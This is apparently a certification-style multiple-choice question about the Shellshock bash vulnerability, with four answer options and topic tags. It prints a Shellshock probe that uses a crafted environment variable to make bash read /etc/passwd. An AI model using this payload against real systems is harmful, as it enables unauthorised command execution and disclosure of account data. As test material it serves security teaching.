What is the Shellshock bash vulnerability attempting to do on an vulnerable Linux host? env x=(){ :;};echo exploit bash -c 'cat /etc/passwd'

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What is the Shellshock bash vulnerability attempting to do on an vulnerable Linux host? env x=(){ :;};echo exploit bash -c 'cat /etc/passwd'

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ADisplay passwd content to prompt
BRemoves the passwd file
CChanges all passwords in passwd
DAdd new user to the passwd file

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#Shellshock#bash vulnerability#remote code execution#/etc/passwd

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